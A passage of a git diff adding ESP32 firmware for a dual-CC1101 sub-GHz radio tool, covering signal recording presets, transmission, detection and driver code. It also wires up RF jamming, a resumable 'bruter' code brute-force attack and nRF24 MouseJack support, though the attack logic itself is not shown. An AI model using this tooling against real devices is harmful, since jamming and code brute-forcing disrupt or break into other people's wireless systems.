clients.notifyAllBinary(NotificationType::SignalSent, buffer, sizeof(BinarySignalSent) + msg.filenameLength); + } else { + BinarySignalSendError msg; + msg.module = task.module; + msg.errorCode = 1; // Failed to queue + msg.filenameLength = (uint8_t)std::min((size_t)255, task.filename->length()); + + static uint8_t buffer[260]; + memcpy(buffer, &msg, sizeof(BinarySignalSendError)); + memcpy(buffer + sizeof(BinarySignalSendError), task.filename->c_str(), msg.filenameLength); + clients.notifyAllBinary(NotificationType::SignalSendingError, buffer, sizeof(BinarySignalSendError) + msg.filenameLength); + } + } else { + // Raw transmission + ESP_LOGI(TAG, "Raw transmission not implemented yet"); + } + } break; + + case Device::TaskType::Record: { + Device::TaskRecord& task = item->recordTask; + ESP_LOGI(TAG, "Processing record task for module %d", task.module ? *task.module : 0); + + if (task.module) { + int module = *task.module; + std::string errorMessage; + + float frequency = task.config.frequency; + int modulation = MODULATION_ASK_OOK; + float deviation = 2.380371; + float bandwidth = 650; + float dataRate = 3.79372; + std::string preset = "Ook650"; + + // Check if preset is provided + if (task.config.preset) { + preset = *task.config.preset; + ESP_LOGI(TAG, "Applying preset: '%s' (length=%zu)", preset.c_str(), preset.length()); + + // Match presets exactly as sent from Flutter app + // Expected values: "Ook270", "Ook650", "2FSKDev238", "2FSKDev476" + if (preset == "Ook270") { + modulation = MODULATION_ASK_OOK; + deviation = 2.380371; + bandwidth = 270.833333; + dataRate = 3.79372; + } else if (preset == "Ook650") { + modulation = MODULATION_ASK_OOK; + deviation = 2.380371; + bandwidth = 650; + dataRate = 3.79372; + } else if (preset == "2FSKDev238") { + modulation = MODULATION_2_FSK; + deviation = 2.380371; + bandwidth = 270.833333; + dataRate = 4.79794; + } else if (preset == "2FSKDev476") { + modulation = MODULATION_2_FSK; + deviation = 47.60742; + bandwidth = 270.833333; + dataRate = 4.79794; + } else { + errorMessage = "{\"error\":\"Can not apply record configuration. Unsupported preset " + preset + "\"}"; + ESP_LOGE(TAG, "Unsupported preset: %s", preset.c_str()); + } + } else { + // Use custom parameters + modulation = task.config.modulation ? *task.config.modulation : MODULATION_ASK_OOK; + bandwidth = task.config.rxBandwidth ? *task.config.rxBandwidth : 650; + deviation = task.config.deviation ? *task.config.deviation : 47.60742; + dataRate = task.config.dataRate ? *task.config.dataRate : 4.79794; + preset = "Custom"; + } + + if (errorMessage.empty()) { + // Send command to CC1101Worker + if (CC1101Worker::startRecord(module, frequency, modulation, deviation, bandwidth, dataRate, preset)) { + ESP_LOGI(TAG, "Recording started on module %d", module); + } else { + static uint8_t errBuffer[2]; + errBuffer[0] = MSG_ERROR; + errBuffer[1] = 11; // Error code for record start failed + clients.notifyAllBinary(NotificationType::SignalRecordError, errBuffer, 2); + } + } else { + static uint8_t errBuffer[260]; + errBuffer[0] = MSG_ERROR; + errBuffer[1] = 12; // Error code for preset application failed + uint8_t msgLen = (uint8_t)std::min((size_t)255, errorMessage.length()); + memcpy(errBuffer + 2, errorMessage.c_str(), msgLen); + clients.notifyAllBinary(NotificationType::SignalRecordError, errBuffer, 2 + msgLen); + } + } + } break; + + case Device::TaskType::DetectSignal: { + Device::TaskDetectSignal& task = item->detectSignalTask; + + if (task.module && task.minRssi) { + int minRssi = *task.minRssi; + int module = *task.module; + bool isBackground = task.background ? *task.background : false; + + // Send command to CC1101Worker + if (CC1101Worker::startDetect(module, minRssi, isBackground)) { + ESP_LOGI(TAG, "Detection started on module %d", module); + } else { + ESP_LOGE(TAG, "Failed to start detection on module %d", module); + } + } + } break; + + case Device::TaskType::GetState: { + Device::TaskGetState& task = item->getStateTask; + ESP_LOGI(TAG, "Processing get state task"); + + const byte numRegs = 0x2E; + + // Create BinaryStatus structure with CC1101 registers + BinaryStatus status; + status.messageType = MSG_STATUS; + status.module0Mode = static_cast(CC1101Worker::getState(0)); + status.module1Mode = static_cast(CC1101Worker::getState(1)); + status.numRegisters = numRegs; // 0x00 to 0x2E (46 registers) + status.freeHeap = ESP.getFreeHeap(); + + // Read all CC1101 registers for both modules + moduleCC1101State[0].readAllConfigRegisters(status.module0Registers, numRegs); + moduleCC1101State[1].readAllConfigRegisters(status.module1Registers, numRegs); + + // Send binary status + clients.notifyAllBinary(NotificationType::State, reinterpret_cast(&status), sizeof(BinaryStatus)); + } break; + + case Device::TaskType::Jam: { + Device::TaskJam& task = item->jamTask; + ESP_LOGI(TAG, "Processing jam task for module %d", task.module); + + const std::vector* customPatternPtr = task.customPattern ? task.customPattern.get() : nullptr; + + // Send command to CC1101Worker (power is already 0-7, no conversion needed) + if (CC1101Worker::startJam(task.module, task.frequency, task.power, + task.patternType, customPatternPtr, + task.maxDurationMs, task.cooldownMs)) { + ESP_LOGI(TAG, "Jam started on module %d", task.module); + } else { + ESP_LOGE(TAG, "Failed to start jam on module %d", task.module); + } + } break; + + case Device::TaskType::Idle: { + Device::TaskIdle& task = item->idleTask; + ESP_LOGI(TAG, "Processing idle task for module %d", task.module); + + // Send command to CC1101Worker (it will handle jamming state internally) + if (CC1101Worker::goIdle(task.module)) { + ESP_LOGI(TAG, "Module %d set to idle", task.module); + } else { + ESP_LOGE(TAG, "Failed to set module %d to idle", task.module); + } + } break; + default: + break; + } + + // CRITICAL: Delete the QueueItem after processing to prevent memory leak + delete item; + } + vTaskDelay(pdMS_TO_TICKS(10)); + } +} + +// Serial command processing task - reads binary commands from Serial and processes them +void serialCommandTask(void* pvParameters) { + static uint8_t buffer[512]; // Buffer for incoming data + static size_t bufferIndex = 0; + + while (true) { + if (Serial.available()) { + uint8_t byte = Serial.read(); + buffer[bufferIndex++] = byte; + + // Handle simple raw commands (non-framed) to avoid race with loop() + if (bufferIndex >= 1 && buffer[0] != 0xAA) { + uint8_t command = buffer[0]; + size_t consumed = 1; + + if (command == 0x04) { + if (bufferIndex < 2) { + continue; // Wait for menu choice byte + } + uint8_t menuChoice = buffer[1]; + consumed = 2; + + if (menuChoice == 0) { + // Cancel (stop) running attack + BruterModule& bruter = getBruterModule(); + bruter.cancelAttack(); + Serial.write((uint8_t)0xF2); // MSG_COMMAND_SUCCESS + } else if (menuChoice == 0xFB) { + // Pause running attack + BruterModule& bruter = getBruterModule(); + if (bruter.isAttackRunning()) { + bruter.pauseAttack(); + Serial.write((uint8_t)0xF2); + } else { + Serial.write((uint8_t)0xF3); + Serial.write((uint8_t)5); // Nothing to pause + } + } else if (menuChoice == 0xFA) { + // Resume from saved state + BruterModule& bruter = getBruterModule(); + if (bruter.isAttackRunning() || BruterModule::attackTaskHandle != nullptr) { + Serial.write((uint8_t)0xF3); + Serial.write((uint8_t)4); // Already running + } else { + Serial.write((uint8_t)0xF2); + if (!bruter.resumeAttackAsync()) { + ESP_LOGE("Serial", "Resume failed β€” no saved state"); + } + } + } else if (menuChoice == 0xF9) { + // Query saved state + BruterModule& bruter = getBruterModule(); + bruter.checkAndNotifySavedState(); + Serial.write((uint8_t)0xF2); + } else if (menuChoice == 0xFE) { + // Set inter-frame delay: [0x04][0xFE][delayLo][delayHi] + if (bufferIndex < 4) { + continue; // Wait for delay bytes + } + consumed = 4; + uint16_t delayMs = buffer[2] | (buffer[3] << 8); + BruterModule& bruter = getBruterModule(); + bruter.setInterFrameDelay(delayMs); + ESP_LOGI("Serial", "Inter-frame delay set to %d ms", delayMs); + Serial.write((uint8_t)0xF2); + } else if (menuChoice == 0xFC) { + // Set global repeats: [0x04][0xFC][repeats] + if (bufferIndex < 3) { + continue; // Wait for repeats byte + } + consumed = 3; + uint8_t repeats = buffer[2]; + if (repeats >= 1 && repeats <= BRUTER_MAX_REPETITIONS) { + BruterModule& bruter = getBruterModule(); + bruter.setGlobalRepeats(repeats); + ESP_LOGI("Serial", "Global repeats set to %d", repeats); + Serial.write((uint8_t)0xF2); + } else { + Serial.write((uint8_t)0xF3); + Serial.write((uint8_t)3); // Out of range + } + } else if (menuChoice >= 1 && menuChoice <= 40) { + BruterModule& bruter = getBruterModule(); + + // Reject if already running + if (bruter.isAttackRunning() || BruterModule::attackTaskHandle != nullptr) { + Serial.write((uint8_t)0xF3); // MSG_COMMAND_ERROR + Serial.write((uint8_t)4); // Already running + } else { + // Send success immediately + Serial.write((uint8_t)0xF2); // MSG_COMMAND_SUCCESS + + // Launch async attack (same static task used by BLE path) + if (!bruter.startAttackAsync(menuChoice)) { + ESP_LOGE("Serial", "Failed to create bruter task"); + } + } + } else { + Serial.write((uint8_t)0xF3); // MSG_COMMAND_ERROR + Serial.write((uint8_t)2); // Invalid choice + } + } else if (command == 0x01) { + Serial.write((uint8_t)0xF2); // MSG_COMMAND_SUCCESS (ping) + } +#if SDR_MODULE_ENABLED + // SDR text command mode: printable ASCII + // Accept text commands even when SDR is not yet active so + // that PC tools can send "sdr_enable" to bootstrap the mode. + else if (command >= 0x20 && command < 0x80) { + // Accumulate text until newline + bool gotNewline = false; + for (size_t idx = 0; idx < bufferIndex; idx++) { + if (buffer[idx] == '\n' || buffer[idx] == '\r') { + gotNewline = true; + consumed = idx + 1; + // Skip trailing \r or \n + while (consumed < bufferIndex && + (buffer[consumed] == '\n' || buffer[consumed] == '\r')) { + consumed++; + } + break; + } + } + if (!gotNewline) { + // Need more data β€” keep accumulating + continue; + } + // Extract command string (exclude trailing newlines) + size_t cmdLen = consumed; + while (cmdLen > 0 && (buffer[cmdLen - 1] == '\n' || buffer[cmdLen - 1] == '\r')) { + cmdLen--; + } + String sdrCmd; + sdrCmd.reserve(cmdLen); + for (size_t c = 0; c < cmdLen; c++) { + sdrCmd += (char)buffer[c]; + } + // Process SDR text command + if (!SdrModule::processSerialCommand(sdrCmd)) { + Serial.println("HACKRF_ERROR"); + Serial.println("Unknown command: " + sdrCmd); + } + } +#endif // SDR_MODULE_ENABLED + else { + Serial.write((uint8_t)0xF3); // MSG_COMMAND_ERROR + Serial.write((uint8_t)1); // Unknown command + } + + size_t remaining = bufferIndex - consumed; + if (remaining > 0) { + memmove(buffer, buffer + consumed, remaining); + } + bufferIndex = remaining; + continue; + } + + // Check if we have a complete packet (minimum 8 bytes: header + checksum) + if (bufferIndex >= 8) { + // Check for magic byte at start + if (buffer[0] == 0xAA) { + // Extract data length (little-endian, bytes 5-6) + uint16_t dataLen = buffer[5] | (buffer[6] << 8); + uint16_t expectedLen = 7 + dataLen + 1; // header + data + checksum + + if (bufferIndex >= expectedLen) { + // Process the complete packet + bleAdapter.setSerialCommand(true); + bleAdapter.processBinaryData(buffer, expectedLen); + + // Shift remaining data to start of buffer + size_t remaining = bufferIndex - expectedLen; + if (remaining > 0) { + memmove(buffer, buffer + expectedLen, remaining); + } + bufferIndex = remaining; + } + } else { + // Invalid magic, reset buffer + bufferIndex = 0; + } + } + + // Prevent buffer overflow + if (bufferIndex >= sizeof(buffer)) { + bufferIndex = 0; + } + } else { + vTaskDelay(pdMS_TO_TICKS(10)); // Small delay when no data + } + } +} + +void setup() +{ + ESP_LOGD(TAG, "Starting LittleFS"); + if (!LittleFS.begin(false, "/littlefs", 10, "littlefs")) { + ESP_LOGW(TAG, "LittleFS mount failed, attempting to format..."); + if (!LittleFS.begin(true, "/littlefs", 10, "littlefs")) { + ESP_LOGE(TAG, "LittleFS format failed!"); + return; + } + ESP_LOGI(TAG, "LittleFS formatted successfully"); + } else { + ESP_LOGI(TAG, "LittleFS mounted successfully"); + } + + // Load persistent settings from /config.txt (or create defaults). + // Must happen BEFORE Serial.begin() since baud rate comes from config. + ConfigManager::loadSettings(); + + int serialBaud = ConfigManager::settings.serialBaudRate; + Serial.begin(serialBaud); + + setupCc1101Pins(); + + // Ensure ESP log output level (override build flag if needed) + esp_log_level_set("*", ESP_LOG_INFO); + // Confirm serial is working + Serial.printf("Serial started at %d bps\n", serialBaud); + + // Ensure GPIO ISR service is available for detachInterrupt usage + static bool isrServiceReady = false; + if (!isrServiceReady) { + esp_err_t isrResult = gpio_install_isr_service(0); + if (isrResult == ESP_OK || isrResult == ESP_ERR_INVALID_STATE) { + isrServiceReady = true; + } else { + ESP_LOGE(TAG, "GPIO ISR service install failed: %d", (int)isrResult); + } + } + + DeviceControls::setup(); + DeviceControls::onLoadPowerManagement(); + DeviceControls::onLoadServiceMode(); + + if (ConfigManager::isServiceMode()) { + // ServiceMode::serviceModeStart(); // ServiceMode.h not found - functionality may be in DeviceControls + return; + } + + ESP_LOGD(TAG, "Starting setup..."); + + sdspi.begin(SD_SCLK, SD_MISO, SD_MOSI, SD_SS); + if (!SD.begin(SD_SS, sdspi)) { + ESP_LOGE(TAG, "Card Mount Failed"); + return; + } + + ESP_LOGD(TAG, "SD card initialized."); + + ControllerAdapter::initializeQueue(); + + ESP_LOGD(TAG, "Device controls setup completed."); + + for (int i = 0; i < CC1101_NUM_MODULES; i++) { + ESP_LOGD(TAG, "Initializing CC1101 module #%d\n", i); + moduleCC1101State[i].init(); + ESP_LOGD(TAG, "Initializing CC1101 module #%d end \n", i); + // cc1101Control initialization removed - using workers now + ESP_LOGD(TAG, "CC1101 module #%d initialized.\n", i); + } + + deviceConfig.powerBlink = true; + + // Initialize CC1101Worker (includes recording functionality moved from Recorder) + CC1101Worker::init(cc1101WorkerSignalDetectedHandler, signalRecordedHandler); + CC1101Worker::start(); + ESP_LOGI(TAG, "CC1101Worker initialized and started"); + + // Old state machine initialization REMOVED + // Workers are now responsible for CC1101 operations + + // BALANCED: TaskProcessor needs adequate stack for file operations + // Pinned to Core 1 (app core) β€” keeps BLE stack on Core 0 undisturbed + xTaskCreatePinnedToCore(taskProcessor, "TaskProcessor", 6144, NULL, 1, NULL, 1); // 6KB on Core 1 + ESP_LOGD(TAG, "TaskProcessor task created."); + + ClientsManager& clients = ClientsManager::getInstance(); + clients.initializeQueue(NOTIFICATIONS_QUEUE); + ESP_LOGD(TAG, "ClientsManager initialized."); + + // Initialize CommandHandler and register commands + ESP_LOGI(TAG, "Initializing CommandHandler..."); + + // Register all commands + StateCommands::registerCommands(commandHandler); + FileCommands::registerCommands(commandHandler); + TransmitterCommands::registerCommands(commandHandler); + RecorderCommands::registerCommands(commandHandler); + BruterCommands::registerCommands(commandHandler); + NrfCommands::registerCommands(commandHandler); + OtaCommands::registerCommands(commandHandler); + ButtonCommands::registerCommands(commandHandler); +#if SDR_MODULE_ENABLED + SdrCommands::registerCommands(commandHandler); +#endif + + ESP_LOGI(TAG, "CommandHandler initialized with %zu commands", commandHandler.getCommandCount()); + + // Initialize bruter module + ESP_LOGI(TAG, "Initializing Bruter module..."); + if (!bruter_init()) { + ESP_LOGE(TAG, "Failed to initialize Bruter module!"); + } else { + ESP_LOGI(TAG, "Bruter module initialized successfully"); + // Check for any resumable paused attack and notify on connect + BruterModule& bruter = getBruterModule(); + bruter.checkAndNotifySavedState(); + } + + // Apply persistent settings to runtime modules (bruter delay, repeats, etc.) + ConfigManager::applyToRuntime(); + + // Initialize nRF24L01 module (optional hardware) +#if NRF_MODULE_ENABLED + ESP_LOGI(TAG, "Initializing nRF24L01 module..."); + if (NrfModule::init()) { + MouseJack::init(); + ESP_LOGI(TAG, "nRF24L01 + MouseJack initialized"); + } else { + ESP_LOGW(TAG, "nRF24L01 not detected β€” NRF features disabled"); + } +#endif + + // Initialize battery monitoring (optional hardware) +#if BATTERY_MODULE_ENABLED + ESP_LOGI(TAG, "Initializing battery monitor..."); + BatteryModule::init(); +#endif + +#if SDR_MODULE_ENABLED + ESP_LOGI(TAG, "Initializing SDR module..."); + SdrModule::init(); +#endif + + // Notification sender on Core 0 (near BLE stack for lower latency) + xTaskCreatePinnedToCore(ClientsManager::processMessageQueue, "SendNotifications", 2560, NULL, 1, NULL, 0); // 2.5KB on Core 0 + ESP_LOGD(TAG, "SendNotifications task created."); + + // Create time synchronization task (updates deviceTime every second) + xTaskCreatePinnedToCore(timeSyncTask, "TimeSync", 1024, NULL, 1, NULL, 0); // 1KB on Core 0 (minimal) + ESP_LOGD(TAG, "TimeSync task created."); + + // Create serial command processing task on Core 1 + xTaskCreatePinnedToCore(serialCommandTask, "SerialCmd", 3072, NULL, 1, NULL, 1); // 3KB on Core 1 + ESP_LOGD(TAG, "SerialCmd task created."); + + // Initialize BLE adapter instead of WiFi + bleAdapter.begin(); + bleAdapter.setCommandHandler(&commandHandler); // Set CommandHandler + clients.addAdapter(&bleAdapter); + bleAdapterStarted = true; + ESP_LOGD(TAG, "BLE adapter initialized and added to clients."); + + // Log initial heap state - baseline for comparison + ESP_LOGI(TAG, "===== INITIAL HEAP STATE (using static task allocation) ====="); + logHeapStats("Setup complete"); + ESP_LOGI(TAG, "NOTE: Heap stats should remain stable even after many task create/delete cycles!"); + + ESP_LOGD(TAG, "Scheduler is managed by Arduino core; not starting it manually."); + // The Arduino core already starts the FreeRTOS scheduler. Calling + // `vTaskStartScheduler()` here would attempt to start it again and + // can cause undefined behavior (task registration issues and WDT + // panics). Tasks created above will run under the existing scheduler. +} + +// Time synchronization task - updates deviceTime every second +void timeSyncTask(void* pvParameters) { + const TickType_t delay = pdMS_TO_TICKS(1000); // 1 second + + while (true) { + vTaskDelay(delay); + + // Only increment if time has been set (deviceTime > 0) + if (deviceTime > 0) { + deviceTime++; + } + } +} + +void loop() +{ + // Poll hardware buttons for configured actions + ButtonCommands::checkButtons(); + +#if SDR_MODULE_ENABLED + // Poll SDR raw RX streaming (reads CC1101 FIFO and sends via serial/BLE) + if (SdrModule::isActive() && SdrModule::isStreaming()) { + SdrModule::pollRawRx(); + } +#endif + + if (deviceConfig.powerBlink) { + // Priority blink: NRF jammer > bruter > normal heartbeat + BruterModule& bruter = getBruterModule(); + if (NrfJammer::isRunning()) { + DeviceControls::nrfJamActiveBlink(); + } else if (bruter.isAttackRunning()) { + DeviceControls::bruterActiveBlink(); + } else { + DeviceControls::poweronBlink(); + } + } +} diff --git a/src/modules/CC1101_driver/CC1101_Module.cpp b/src/modules/CC1101_driver/CC1101_Module.cpp new file mode 100644 index 0000000..be75b18 --- /dev/null +++ b/src/modules/CC1101_driver/CC1101_Module.cpp @@ -0,0 +1,386 @@ +#include "CC1101_Module.h" + +SemaphoreHandle_t ModuleCc1101::rwSemaphore = xSemaphoreCreateMutex(); + +static const char* TAG = "Cc1101Config"; + +ModuleCc1101 moduleCC1101State[] = {ModuleCc1101(CC1101_SCK, CC1101_MISO, CC1101_MOSI, CC1101_SS0, MOD0_GDO2, MOD0_GDO0, MODULE_1), + ModuleCc1101(CC1101_SCK, CC1101_MISO, CC1101_MOSI, CC1101_SS1, MOD1_GDO2, MOD1_GDO0, MODULE_2)}; + +ModuleCc1101::ModuleCc1101(byte sck, byte miso, byte mosi, byte ss, byte ip, byte op, byte module) +{ + stateChangeSemaphore = xSemaphoreCreateBinary(); + cc1101.addSpiPin(sck, miso, mosi, ss, module); + cc1101.addGDO(op, ip, module); + inputPin = ip; + outputPin = op; + id = module; +} + +SemaphoreHandle_t ModuleCc1101::getStateChangeSemaphore() +{ + return stateChangeSemaphore; +} + +void ModuleCc1101::unlock() +{ + xSemaphoreGive(stateChangeSemaphore); +} + +ModuleCc1101 ModuleCc1101::backupConfig() +{ + tmpConfig = config; + return *this; +} + +ModuleCc1101 ModuleCc1101::restoreConfig() +{ + config = tmpConfig; + return *this; +} + +ModuleCc1101 ModuleCc1101::setConfig(int mode, float frequency, bool dcFilterOff, int modulation, float rxBandwidth, float deviation, float dataRate) +{ + config.transmitMode = mode == MODE_TRANSMIT; + config.frequency = frequency; + config.deviation = deviation; + config.modulation = modulation; + config.dcFilterOff = dcFilterOff; + config.rxBandwidth = rxBandwidth; + config.dataRate = dataRate; + + return *this; +} + +ModuleCc1101 ModuleCc1101::setConfig(CC1101ModuleConfig config) +{ + this->config = config; + return *this; +} + +ModuleCc1101 ModuleCc1101::setReceiveConfig(float frequency, bool dcFilterOff, int modulation, float rxBandwidth, float deviation, float dataRate) +{ + // Always update config to ensure it's applied, even if values are the same + // This is important for recording to ensure CC1101 is properly configured + config.transmitMode = false; + config.frequency = frequency; + config.deviation = deviation; + config.modulation = modulation; + config.dcFilterOff = dcFilterOff; + config.rxBandwidth = rxBandwidth; + config.dataRate = dataRate; + + ESP_LOGD(TAG, "Config set: freq=%.2f, mod=%d, dev=%.2f, bw=%.2f, rate=%.2f", + frequency, modulation, deviation, rxBandwidth, dataRate); + + return *this; +} + +ModuleCc1101 ModuleCc1101::changeFrequency(float frequency) +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + config.frequency = frequency; + cc1101.setModul(id); + cc1101.setSidle(); + cc1101.setMHZ(frequency); + cc1101.SetRx(); + cc1101.setDRate(config.dataRate); + cc1101.setRxBW(config.rxBandwidth); + xSemaphoreGive(rwSemaphore); + return *this; +} + +ModuleCc1101 ModuleCc1101::setTransmitConfig(float frequency, int modulation, float deviation) +{ + config.transmitMode = true; + config.frequency = frequency; + config.deviation = deviation; + config.modulation = modulation; + return *this; +} + +CC1101ModuleConfig ModuleCc1101::getCurrentConfig() +{ + return config; +} + +byte ModuleCc1101::getId() +{ + return id; +} + +int ModuleCc1101::getModulation() +{ + return config.modulation; +} + +void ModuleCc1101::init() +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + cc1101.Init(); + xSemaphoreGive(rwSemaphore); +} + +ModuleCc1101 ModuleCc1101::initConfig() +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + + // Force CC1101 to idle before reconfiguring + cc1101.setSidle(); + delay(10); // Give CC1101 time to enter idle state + + cc1101.setModulation(config.modulation); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + cc1101.setDeviation(config.deviation); // Set the Frequency deviation in kHz. Value from 1.58 to 380.85. Default is 47.60 kHz. + cc1101.setMHZ(config.frequency); + + if (config.transmitMode) { + cc1101.SetTx(); + } else { + cc1101.setDcFilterOff(config.dcFilterOff); + cc1101.setSyncMode(0); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = + // 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 + // = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + cc1101.setPktFormat(3); // Format of RX and TX data. 0 = Normal mode, use FIFOs for RX and TX. 1 = Synchronous serial mode, Data in on GDO0 and data out on + // either of the GDOx pins. 2 = Random TX mode; sends random data using PN9 generator. Used for t. Works as normal mode, setting 0 + // (00), in RX. 3 = Asynchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. + cc1101.setDRate(config.dataRate); + cc1101.setRxBW(config.rxBandwidth); + + // Force transition to RX mode + cc1101.SetRx(); + delay(10); // Give CC1101 time to enter RX state + + ESP_LOGI(TAG, "CC1101 module %d configured for RX: freq=%.2f, mod=%d, dev=%.2f", + id, config.frequency, config.modulation, config.deviation); + } + xSemaphoreGive(rwSemaphore); + + return *this; +} + +void ModuleCc1101::setTx(float frequency) +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + cc1101.setSidle(); + cc1101.Init(); + cc1101.setMHZ(frequency); + cc1101.SetTx(); + xSemaphoreGive(rwSemaphore); +} + +void ModuleCc1101::setTxWithPreset(float frequency, const uint8_t *presetBytes, int presetLength) +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + cc1101.setSidle(); + delay(10); + cc1101.Init(); // Reset all registers to defaults + delay(10); + + // Set frequency first (before applying preset) + cc1101.setMHZ(frequency); // This will also call Calibrate() + delay(10); + + // Apply preset configuration - presets now contain correct values + if (presetBytes != nullptr && presetLength > 0) { + int index = 0; + + // Apply all registers from preset + while (index < presetLength) { + uint8_t addr = presetBytes[index++]; + uint8_t value = presetBytes[index++]; + + if (addr == 0x00 && value == 0x00) { + break; + } + + // Write each register - preset values are correct now + cc1101.SpiWriteReg(addr, value); + } + + // Apply PA table (last 8 bytes) + std::array paValue; + std::copy(presetBytes + index, presetBytes + index + paValue.size(), paValue.begin()); + cc1101.SpiWriteBurstReg(CC1101_PATABLE, paValue.data(), paValue.size()); + } + + delay(10); + cc1101.SetTx(); // Enter TX mode + xSemaphoreGive(rwSemaphore); +} + +void ModuleCc1101::applySubConfiguration(const uint8_t *byteArray, int length) +{ + int index = 0; + + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + while (index < length) { + uint8_t addr = byteArray[index++]; + uint8_t value = byteArray[index++]; + + if (addr == 0x00 && value == 0x00) { + break; + } + cc1101.SpiWriteReg(addr, value); + } + + std::array paValue; + std::copy(byteArray + index, byteArray + index + paValue.size(), paValue.begin()); + cc1101.SpiWriteBurstReg(CC1101_PATABLE, paValue.data(), paValue.size()); + xSemaphoreGive(rwSemaphore); +} + +byte ModuleCc1101::getInputPin() +{ + return inputPin; +} + +byte ModuleCc1101::getOutputPin() +{ + return outputPin; +} + +int ModuleCc1101::getRssi() +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + int rssi = cc1101.getRssi(); + xSemaphoreGive(rwSemaphore); + return rssi; + } + +byte ModuleCc1101::getLqi() +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + byte lqi = cc1101.getLqi(); + xSemaphoreGive(rwSemaphore); + return lqi; +} + +void ModuleCc1101::setSidle() +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + cc1101.setSidle(); + xSemaphoreGive(rwSemaphore); +} + +void ModuleCc1101::reset() +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + cc1101.setSres(); + xSemaphoreGive(rwSemaphore); +} + +void ModuleCc1101::goSleep() +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + cc1101.goSleep(); + xSemaphoreGive(rwSemaphore); +} + +void ModuleCc1101::sendData(byte *txBuffer, byte size) +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + cc1101.SendData(txBuffer, size); + xSemaphoreGive(rwSemaphore); +} + +void ModuleCc1101::sendDataNonBlocking(byte *txBuffer, byte size, int delayMs) +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + // Use SendData version with a delay instead of waiting for GDO0 + // This does not block execution of other tasks + cc1101.SendData(txBuffer, size, delayMs); + xSemaphoreGive(rwSemaphore); +} + +byte ModuleCc1101::getRegisterValue(byte address) +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + byte value = cc1101.SpiReadReg(address); + xSemaphoreGive(rwSemaphore); + return value; +} + +std::array ModuleCc1101::getPATableValues() +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + std::array paTable; + cc1101.setModul(id); + cc1101.SpiReadBurstReg(0x3E, paTable.data(), paTable.size()); + xSemaphoreGive(rwSemaphore); + return paTable; +} + +void ModuleCc1101::readAllConfigRegisters(byte *buffer, byte num) +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.selectModule(id); + cc1101.SpiReadBurstReg(0x00, buffer, num); // 0x00 is the start address for configuration registers + xSemaphoreGive(rwSemaphore); +} + +float ModuleCc1101::getFrequency() +{ + float fq; + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + fq = cc1101.getFrequency(); // 0x00 is the start address for configuration registers + xSemaphoreGive(rwSemaphore); + return fq; +} + +void ModuleCc1101::setPA(int power) +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + cc1101.setPA(power); + xSemaphoreGive(rwSemaphore); +} + +void ModuleCc1101::calibrate() +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + cc1101.calibrate(); + xSemaphoreGive(rwSemaphore); +} + +bool ModuleCc1101::waitForCalibration(uint32_t timeoutMs) +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + bool result = cc1101.waitForCalibration(timeoutMs); + xSemaphoreGive(rwSemaphore); + return result; +} + +void ModuleCc1101::enableContinuousTx() +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + // Set PKTLEN to 0 for infinite packet length (continuous transmission) + cc1101.SpiWriteReg(CC1101_PKTLEN, 0x00); + // Ensure packet format is set correctly for continuous mode + // PKTCTRL0: bit 1-0 = 00 (fixed packet length), but with PKTLEN=0 it becomes infinite + xSemaphoreGive(rwSemaphore); +} + +void ModuleCc1101::writeToTxFifo(byte *data, byte size) +{ + xSemaphoreTake(rwSemaphore, portMAX_DELAY); + cc1101.setModul(id); + // Write data directly to TX FIFO (burst write) + cc1101.SpiWriteBurstReg(CC1101_TXFIFO, data, size); + xSemaphoreGive(rwSemaphore); +} \ No newline at end of file diff --git a/src/modules/CC1101_driver/CC1101_Module.h b/src/modules/CC1101_driver/CC1101_Module.h new file mode 100644 index 0000000..89a6a07 --- /dev/null +++ b/src/modules/CC1101_driver/CC1101_Module.h @@ -0,0 +1,115 @@ +#ifndef ModuleCc1101State_h +#define ModuleCc1101State_h + +typedef unsigned char byte; + +#include + +#include "CC1101_Radio.h" +#include "config.h" +#include // For std::copy +#include // For std::array +#include "esp_log.h" +// #include "Cc1101Mode.h" // REMOVED - no longer needed with worker architecture + +// CC1101 Settings +#define MODULE_1 0 +#define MODULE_2 1 + +// Modulation types +#define MODULATION_2_FSK 0 +#define MODULATION_ASK_OOK 2 + +// Available modes +#define MODE_TRANSMIT 1 +#define MODE_RECEIVE 0 + +typedef struct +{ + float deviation = 1.58; + float frequency = 433.92; + int modulation = 2; // ASK/OOK + bool dcFilterOff = true; + float rxBandwidth = 650.0; + float dataRate = 3.79372; + bool transmitMode = false; + bool initialized = false; +} CC1101ModuleConfig; + +class 